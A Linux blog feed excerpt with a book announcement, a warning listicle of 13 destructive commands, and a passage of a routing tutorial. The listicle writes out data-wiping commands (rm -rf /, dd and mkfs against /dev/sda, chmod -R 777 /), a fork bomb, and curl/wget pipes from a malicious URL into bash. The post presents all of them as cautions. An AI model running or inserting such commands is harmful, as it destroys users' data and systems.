are several topics I&#8217;ve been wanting to write about.</p>]]></content:encoded></item><item><title><![CDATA[A Thank You to My Paid Subscribers]]></title><description><![CDATA[Over the past months, I&#8217;ve been working deeply on something significant.]]></description><link>https://blog.sysxplore.com/p/a-thank-you-to-my-paid-subscribers</link><guid isPermaLink="false">https://blog.sysxplore.com/p/a-thank-you-to-my-paid-subscribers</guid><dc:creator><![CDATA[TRÄW🤟]]></dc:creator><pubDate>Sun, 22 Feb 2026 12:01:34 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!TApo!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe823dfdf-0434-49b1-9f70-4ac16b52a7c0_2481x3508.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Over the past months, I&#8217;ve been working deeply on something significant.</p><p>First Steps With Linux is now complete &#8212; 600+ pages, professionally formatted, carefully structured, and built to the standard I&#8217;ve always aimed for, including a companion lab guide.</p><p>Here are two small previews from inside the book:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!TApo!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe823dfdf-0434-49b1-9f70-4ac16b52a7c0_2481x3508.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!TApo!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe823dfdf-0434-49b1-9f70-4ac16b52a7c0_2481x3508.jpeg 424w, https://substackcdn.com/image/fetch/$s_!TApo!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe823dfdf-0434-49b1-9f70-4ac16b52a7c0_2481x3508.jpeg 848w, https://substackcdn.com/image/fetch/$s_!TApo!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe823dfdf-0434-49b1-9f70-4ac16b52a7c0_2481x3508.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!TApo!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe823dfdf-0434-49b1-9f70-4ac16b52a7c0_2481x3508.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!TApo!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe823dfdf-0434-49b1-9f70-4ac16b52a7c0_2481x3508.jpeg" width="1456" height="2059" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/e823dfdf-0434-49b1-9f70-4ac16b52a7c0_2481x3508.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:2059,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!TApo!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe823dfdf-0434-49b1-9f70-4ac16b52a7c0_2481x3508.jpeg 424w, https://substackcdn.com/image/fetch/$s_!TApo!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe823dfdf-0434-49b1-9f70-4ac16b52a7c0_2481x3508.jpeg 848w, https://substackcdn.com/image/fetch/$s_!TApo!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe823dfdf-0434-49b1-9f70-4ac16b52a7c0_2481x3508.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!TApo!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe823dfdf-0434-49b1-9f70-4ac16b52a7c0_2481x3508.jpeg 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Chapter 3. Working with Files and Directories</figcaption></figure></div>
      <p>
          <a href="https://blog.sysxplore.com/p/a-thank-you-to-my-paid-subscribers">
              Read more
          </a>
      </p>
   ]]></content:encoded></item><item><title><![CDATA[13 Destructive Linux Commands Every User Should Know (And Avoid)]]></title><description><![CDATA[Linux gives you powerful tools, but with that power comes risk.]]></description><link>https://blog.sysxplore.com/p/13-destructive-linux-commands-every-user-should-know</link><guid isPermaLink="false">https://blog.sysxplore.com/p/13-destructive-linux-commands-every-user-should-know</guid><dc:creator><![CDATA[TRÄW🤟]]></dc:creator><pubDate>Sun, 18 Jan 2026 06:41:52 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/184fc579-a4c1-4e83-8d96-d7d1bb4e3b40_1750x1250.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Linux gives you powerful tools, but with that power comes risk. Some commands, if used without caution, can completely destroy your system, wipe your data, or create security holes that leave your machine exposed.</p><p>In this guide, we&#8217;ll walk through 13 dangerous Linux commands that every user should be aware of.  Run any of these on your system, and you could lose everything.</p><h3>1. Recursive Deletion</h3><p>This infamous command recursively and forcibly deletes everything from the root directory. If executed as root or with <code>sudo</code>, it doesn&#8217;t ask questions, it just erases the entire filesystem.</p><pre><code><code>$ sudo rm -rf /</code></code></pre><p>Thankfully, modern versions of <code>rm</code> include a built-in safeguard. If you try to run this command on the root directory (<code>/</code>), it will refuse by default and print a warning. To override this, a user would have to explicitly include the <code>--no-preserve-root</code> option:</p><pre><code><code>$ sudo rm -rf --no-preserve-root /</code></code></pre><p>That flag disables the protection and forces deletion of everything from the root &#8212; which is why it&#8217;s incredibly dangerous and should never be used under any normal circumstances.</p><h3>2. Imploding Your Hard Drive</h3><p>Moving files to <code>/dev/null</code> is essentially vaporizing them. It&#8217;s Linux&#8217;s black hole &#8212; anything sent there is gone forever. Mistakenly redirecting or moving critical files here can lead to unrecoverable data loss.</p><pre><code><code>$ sudo find / -type f -exec mv /dev/null {} +

# OR 

$ sudo mv -rf / /dev/null</code></code></pre><h3>3. The Fork Bomb</h3><p>This one&#8217;s deceptively short but devastating. It defines a function that repeatedly calls itself, consuming CPU and memory until your system freezes.</p><pre><code><code>$ :(){ :|:&amp; };:</code></code></pre><p>To prevent this kind of denial-of-service, you can limit the number of processes per user:</p><pre><code><code>$ ulimit -S -u 4000</code></code></pre><h3>4. Overwriting the Disk</h3><p>This command writes raw output directly to the disk, destroying partition tables and wiping data. Even innocent-looking commands can become dangerous if misdirected to disk devices.</p><pre><code><code>$ yes &gt; /dev/sda</code></code></pre><h3>5. Downloading and Running Scripts Blindly</h3><p>Using <code>wget</code> or <code>curl</code> to download and pipe a script directly into <code>bash</code> is asking for trouble &#8212; especially if the source is unknown or unverified.</p><pre><code><code>$ wget https://malicious_source_url -O - | bash</code></code></pre><p>Or:</p><pre><code><code>$ curl https://malicious_source_url | bash</code></code></pre><p>Always inspect scripts before executing them.</p><h3>6. Permission Apocalypse</h3><p>Running this command gives full read/write/execute permissions to all users on every file in your system. Not only is this insecure &#8212; it breaks proper permission structures and can introduce serious vulnerabilities.</p><pre><code><code>$ sudo chmod -R 777 /</code></code></pre><div><hr></div><p>Sysxplore is an indie, reader-supported publication.<br>I break down complex technical concepts in a straightforward way, making them easy to grasp. A lot of research goes into every piece to ensure the information you read is as accurate and practical as possible.</p><p>To support my work, consider becoming a <strong>free or paid subscriber</strong> and join the growing community of tech professionals.</p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://blog.sysxplore.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe now&quot;,&quot;action&quot;:null,&quot;class&quot;:&quot;button-wrapper&quot;}" data-component-name="ButtonCreateButton"><a class="button primary button-wrapper" href="https://blog.sysxplore.com/subscribe?"><span>Subscribe now</span></a></p><div><hr></div><h3>7. Accidental Recursive Ownership Change</h3><p>This one is surprisingly common. Running chown recursively on the wrong path can instantly break your system by changing ownership of critical files and directories.</p><pre><code><code>$ sudo chown -R user:user /</code></code></pre><p>On the surface, this looks harmless &#8212; maybe you were trying to fix a permission issue in your home directory and forgot to change the path. But when run on /, it changes ownership of <strong>every file on the system</strong>, including system binaries, configuration files, and services that must be owned by root.</p><p>The result is a system that behaves erratically: services fail to start, package managers break, and security boundaries are completely destroyed.</p><p>Unlike a single bad chmod, this mistake is difficult to undo. There&#8217;s no simple way to &#8220;put ownership back&#8221; without reinstalling or restoring from a backup.</p><h3>8. Formatting the Hard Drive</h3><p>This formats your entire hard disk, wiping the data and creating a new filesystem. A typo here &#8212; or a lack of understanding &#8212; can erase your OS instantly.</p><pre><code><code>$ mkfs.ext3 /dev/sda</code></code></pre><h3>9. Writing Junk Data to Disk</h3><p>Commands that write random or garbage data directly to the disk can completely destroy your storage device&#8217;s contents. These are sometimes used in data destruction or overwriting scenarios.</p><pre><code><code>$ dd if=/dev/urandom of=/dev/sda bs=1M</code></code></pre><h3>10. Re-running All Commands from History</h3><p>Running the entire contents of your command history with this one-liner can be unpredictable and destructive.</p><pre><code><code>$ sudo history | sh</code></code></pre><h3>11. Quick Command Replacement</h3><p>The <code>^foo^bar</code> syntax is useful for correcting previous commands, but risky if used carelessly. For example:</p><pre><code><code>$ ^mv^rm ~/backups</code></code></pre><p>This would replace <code>mv</code> with <code>rm</code>, potentially deleting an important directory instead of moving it.</p><h3>12. Deleting All Crontabs: <code>crontab -r</code></h3><p>One wrong flag, and all your scheduled tasks vanish. Unlike <code>crontab -e</code>, which edits tasks, <code>-r</code> removes them entirely &#8212; and does so without confirmation.</p><pre><code><code>$ crontab -r</code></code></pre><p>Back up your crontab regularly and use the <code>-l</code> flag to list tasks before modifying</p><p>Please <strong>do not run</strong> any of the above commands on your actual system or on machines you care about. If you&#8217;re curious about how they work, use a disposable virtual machine or container for testing.</p><p>Running any of these &#8212; intentionally or by mistake &#8212; can bring your system to a halt or cause irreparable damage.</p><h3><strong>13. Extracting Archives as Root Without Inspecting Them</strong></h3><p>Extracting a tar archive as root without checking its contents can overwrite critical system files, change permissions, or drop files into unexpected locations.</p><pre><code>$ sudo tar -xf backup.tar</code></pre><p>Tar archives can contain <strong>absolute paths</strong>, parent directory traversals (../), or files targeting system locations like /etc, /usr/bin, or /root. When extracted as root, tar will happily write wherever the archive tells it to.</p><p>This is especially dangerous with archives downloaded from the internet or created by automated backup systems. A single bad archive can overwrite configuration files, replace binaries, or silently introduce malicious files.</p><p>A safer approach is to always inspect an archive before extracting it:</p><pre><code>$ tar -tf backup.tar</code></pre><p>And, when possible, extract into a dedicated directory instead of /:</p><pre><code>$ mkdir /tmp/extract
$ tar -xf backup.tar -C /tmp/extract</code></pre><p>Once you&#8217;ve verified the contents, you can move files into place intentionally instead of letting tar decide for you.</p><h2><strong>Thanks for reading!</strong></h2><p>If you enjoyed this content, don&#8217;t forget to leave a comment, like &#10084;&#65039; and subscribe to get more posts like this every week.</p><p></p>]]></content:encoded></item><item><title><![CDATA[ EP2: Networking in Linux - Routing Deep Dive]]></title><description><![CDATA[When we talk about routing, we often picture routers, firewalls, and network appliances moving traffic across large networks.]]></description><link>https://blog.sysxplore.com/p/ep2-networking-in-linux-routing-deep-dive</link><guid isPermaLink="false">https://blog.sysxplore.com/p/ep2-networking-in-linux-routing-deep-dive</guid><dc:creator><![CDATA[TRÄW🤟]]></dc:creator><pubDate>Sun, 28 Dec 2025 09:28:40 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/eadf0b36-605d-4f3c-a516-145540c364c2_1750x1250.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>When we talk about routing, we often picture routers, firewalls, and network appliances moving traffic across large networks. But Linux itself is a router. Every Linux system makes routing decisions, even if it only has a single network interface.</p><p>Every time an application sends a packet, the Linux kernel decides where that packet should go. Sometimes the traffic stays local. Sometimes it leaves through a specific interface. In other cases, it must be forwarded to another network entirely. All of those decisions are made using the same routing logic, regardless of whether the system is acting as a simple workstation or as a multi-homed router.</p><p>This article looks at routing from the perspective of <strong>a single Linux host</strong>. We focus on how the kernel determines reachability and selects paths for outgoing traffic, working step by step through routes, scopes, routing tables, policy-based routing, and routing marks.</p><p>Rather than jumping straight into commands, the emphasis is on how routing decisions are made inside the kernel and how those decisions affect where packets actually go. Understanding this flow makes it easier to reason about routing behaviour, especially once systems become multi-homed or start handling traffic for other networks.</p><h2>Routing vs Forwarding</h2><p>Routing and forwarding are closely related, but they are not the same thing.</p><p>Routing is the decision-making process. It is about determining the best path a packet should take based on the information available to the kernel.</p><p>Forwarding is the action. It is the act of moving a packet from one network interface to another, or delivering it locally when the destination belongs to the system itself.</p><p>By default, Linux does not forward packets between interfaces. This is intentional. A server should not accidentally behave like a router. When packet forwarding is enabled, Linux becomes capable of moving traffic between networks, but it still relies on routing information to decide <em>how</em> that traffic should flow.</p><p>To check whether IPv4 packet forwarding is enabled, you can use:</p><pre><code><code>$ sysctl net.ipv4.ip_forward</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!TUeo!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F23a7baa8-64f4-4608-8783-a2fe68f7c0a3_1076x139.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!TUeo!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F23a7baa8-64f4-4608-8783-a2fe68f7c0a3_1076x139.png 424w, https://substackcdn.com/image/fetch/$s_!TUeo!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F23a7baa8-64f4-4608-8783-a2fe68f7c0a3_1076x139.png 848w, https://substackcdn.com/image/fetch/$s_!TUeo!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F23a7baa8-64f4-4608-8783-a2fe68f7c0a3_1076x139.png 1272w, https://substackcdn.com/image/fetch/$s_!TUeo!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F23a7baa8-64f4-4608-8783-a2fe68f7c0a3_1076x139.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!TUeo!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F23a7baa8-64f4-4608-8783-a2fe68f7c0a3_1076x139.png" width="1076" height="139" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/23a7baa8-64f4-4608-8783-a2fe68f7c0a3_1076x139.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:139,&quot;width&quot;:1076,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:21679,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/182754299?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F23a7baa8-64f4-4608-8783-a2fe68f7c0a3_1076x139.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!TUeo!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F23a7baa8-64f4-4608-8783-a2fe68f7c0a3_1076x139.png 424w, https://substackcdn.com/image/fetch/$s_!TUeo!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F23a7baa8-64f4-4608-8783-a2fe68f7c0a3_1076x139.png 848w, https://substackcdn.com/image/fetch/$s_!TUeo!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F23a7baa8-64f4-4608-8783-a2fe68f7c0a3_1076x139.png 1272w, https://substackcdn.com/image/fetch/$s_!TUeo!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F23a7baa8-64f4-4608-8783-a2fe68f7c0a3_1076x139.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>If the output is <code>0</code>, packet forwarding is disabled. If the output is <code>1</code>, packet forwarding is enabled.</p><p>To enable packet forwarding temporarily, you can write directly to the kernel parameter:</p><pre><code><code>$ echo 1 &gt; /proc/sys/net/ipv4/ip_forward</code></code></pre><p>Or use <code>sysctl</code>:</p><pre><code><code>$ sysctl -w net.ipv4.ip_forward=1</code></code></pre><p>Both methods take effect immediately, but the change does <strong>not</strong> persist across reboots.</p><p>To make packet forwarding permanent, add the following line to a drop-in file under <code>/etc/sysctl.d/</code>. You can choose any filename, but it is common to prefix it with a number, for example <code>99-ip-forward.conf</code>:</p><pre><code><code>net.ipv4.ip_forward = 1</code></code></pre><p>Then apply the configuration:</p><pre><code><code>$ sudo sysctl -p</code></code></pre><p>Once a packet arrives on an interface, the kernel must answer a simple question:</p><p><strong>Is this packet meant for me, or should it be sent somewhere else?</strong></p><p>Routing determines the answer. Forwarding is what happens next.</p><h2>IP Destination Classes</h2><p>From the kernel&#8217;s point of view, every destination IP falls into one of three categories. This classification happens early and shapes every routing decision that follows.</p><p><strong>Local destinations</strong> are IP addresses assigned to the system itself. This includes interface addresses and the loopback range.</p><p>You can see local destinations by inspecting interface addresses:</p><pre><code><code>$ ip -c -4 -brief addr</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!yQ3s!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd5902a76-6648-42be-bef8-10b09fdb5feb_1076x337.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!yQ3s!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd5902a76-6648-42be-bef8-10b09fdb5feb_1076x337.png 424w, https://substackcdn.com/image/fetch/$s_!yQ3s!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd5902a76-6648-42be-bef8-10b09fdb5feb_1076x337.png 848w, https://substackcdn.com/image/fetch/$s_!yQ3s!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd5902a76-6648-42be-bef8-10b09fdb5feb_1076x337.png 1272w, https://substackcdn.com/image/fetch/$s_!yQ3s!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd5902a76-6648-42be-bef8-10b09fdb5feb_1076x337.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!yQ3s!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd5902a76-6648-42be-bef8-10b09fdb5feb_1076x337.png" width="1076" height="337" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/d5902a76-6648-42be-bef8-10b09fdb5feb_1076x337.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:337,&quot;width&quot;:1076,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:73917,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/182754299?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd5902a76-6648-42be-bef8-10b09fdb5feb_1076x337.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!yQ3s!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd5902a76-6648-42be-bef8-10b09fdb5feb_1076x337.png 424w, https://substackcdn.com/image/fetch/$s_!yQ3s!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd5902a76-6648-42be-bef8-10b09fdb5feb_1076x337.png 848w, https://substackcdn.com/image/fetch/$s_!yQ3s!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd5902a76-6648-42be-bef8-10b09fdb5feb_1076x337.png 1272w, https://substackcdn.com/image/fetch/$s_!yQ3s!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd5902a76-6648-42be-bef8-10b09fdb5feb_1076x337.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Each address shown here represents traffic that terminates on the local machine. The loopback interface deserves special attention: the entire <code>127.0.0.0/8</code> range points back to the system itself and is commonly used for local testing and inter-process communication.</p><p>If you are coming from Cisco or Juniper, these are typically referred to as <strong>local routes</strong>, and they usually appear as <code>/32</code> host routes in routing tables.</p><p><strong>Connected networks</strong> are networks that are directly reachable through a local interface. If an interface is configured with an address in a given subnet, Linux knows that any IP within that subnet can be reached without a router.</p><p>You can view connected networks with:</p><pre><code><code>$ ip route show scope link</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!UlPW!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F79a56bdf-7793-45aa-9f08-cc07639b88ee_1076x337.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!UlPW!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F79a56bdf-7793-45aa-9f08-cc07639b88ee_1076x337.png 424w, https://substackcdn.com/image/fetch/$s_!UlPW!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F79a56bdf-7793-45aa-9f08-cc07639b88ee_1076x337.png 848w, https://substackcdn.com/image/fetch/$s_!UlPW!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F79a56bdf-7793-45aa-9f08-cc07639b88ee_1076x337.png 1272w, https://substackcdn.com/image/fetch/$s_!UlPW!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F79a56bdf-7793-45aa-9f08-cc07639b88ee_1076x337.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!UlPW!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F79a56bdf-7793-45aa-9f08-cc07639b88ee_1076x337.png" width="1076" height="337" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/79a56bdf-7793-45aa-9f08-cc07639b88ee_1076x337.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:337,&quot;width&quot;:1076,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:111751,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/182754299?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F79a56bdf-7793-45aa-9f08-cc07639b88ee_1076x337.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!UlPW!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F79a56bdf-7793-45aa-9f08-cc07639b88ee_1076x337.png 424w, https://substackcdn.com/image/fetch/$s_!UlPW!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F79a56bdf-7793-45aa-9f08-cc07639b88ee_1076x337.png 848w, 